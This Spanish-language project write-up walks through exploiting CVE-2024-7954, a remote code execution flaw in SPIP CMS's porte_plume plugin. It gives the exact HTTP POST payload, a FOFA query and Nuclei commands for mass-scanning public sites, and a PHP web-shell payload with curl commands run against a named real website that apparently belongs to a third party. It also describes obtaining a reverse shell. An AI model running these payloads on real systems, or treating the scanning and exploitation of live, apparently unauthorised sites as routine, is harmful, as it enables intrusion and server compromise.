
Explotación de una Ejecución Remota de Código vulnerabilidad- (CVE-2024-7954)
Proyecto de Pruebas de Vulnerabilidad de Software Presentado por: Shivansh Kuntal
Este proyecto demuestra la explotación de CVE-2024-7954, una vulnerabilidad crítica de Ejecución Remota de Código (RCE) que afecta a SPIP CMS a través de su plugin porte_plume.
La vulnerabilidad permite a atacantes no autenticados ejecutar código PHP arbitrario en el servidor objetivo mediante solicitudes HTTP POST manipuladas.
Las pruebas se realizaron en un entorno local controlado y luego se extendieron a reconocimiento en el mundo real usando FOFA y Nuclei.
Se desplegó localmente una versión vulnerable de SPIP CMS, confirmada como afectada por CVE-2024-7954, en un servidor Apache utilizando un repositorio de GitHub que aloja versiones conocidas como vulnerables.
Herramientas Utilizadas
La página de inicio de SPIP ejecutándose en localhost validó la instalación exitosa y sirvió como objetivo para la explotación.
El plugin porte_plume (anterior a las versiones 4.30-alpha2, 4.2.13, 4.1.16) es vulnerable debido a una sanitización insuficiente de la entrada proporcionada por el usuario. Los atacantes pueden inyectar código PHP en campos de formulario específicos que luego son renderizados y ejecutados por el servidor.
Impacto: Ejecución Remota de Código no Autenticada Gravedad: Crítica Vector de Ataque: Red / HTTP POST
POST /index.php?action=porte_plume_previsu HTTP/1.1
Host: {{hostname}}
Content-Type: application/x-www-form-urlencoded
data=AA_[<img111111>->URL`<?php system('cat /etc/passwd'); ?>`]_BB
Se utilizó una consulta de FOFA para enumerar instalaciones públicas de SPIP:
app="SPIP"
FOFA devolvió múltiples puntos de metadatos:
targets.txt para escaneo por lotes.Un host real adecuado identificado:
http://www.comite-tricolore.org/
Dado que la explotación manual es lenta, se utilizó Nuclei para automatizar la detección de CVE-2024-7954 en un gran conjunto de objetivos.
nuclei -l targets.txt -t CVE-2024-7954.yaml
-l targets.txt carga los resultados de FOFA-t carga la plantilla PoC personalizadaNota: La plantilla inicial no devolvió ninguna coincidencia.
nuclei -l targets.txt -t cves/
Este escaneo identificó un objetivo receptivo:
http://www.comite-tricolore.org/
Visitar:
http://www.comite-tricolore.org/spip.php?page=contact
Confirmado:
Usando Burp Suite o curl, modificar el parámetro message:
Payload
<?php system($_GET['cmd']); ?>
Visitar:
http://www.comite-tricolore.org/spip.php?page=contact&cmd=id
O usando curl:
curl "http://www.comite-tricolore.org/spip.php?page=contact&cmd=id"
La salida confirmó la ejecución remota de comandos.
Un payload manipulado permite una llamada de reverse shell, permitiendo:
whoamilsEste proyecto demuestra la cadena completa de explotación para CVE-2024-7954, desde el reconocimiento hasta la obtención de una shell interactiva.
Esta vulnerabilidad resalta cómo un plugin de formato de texto aparentemente inofensivo puede crear un compromiso completo del sistema cuando no está asegurado adecuadamente.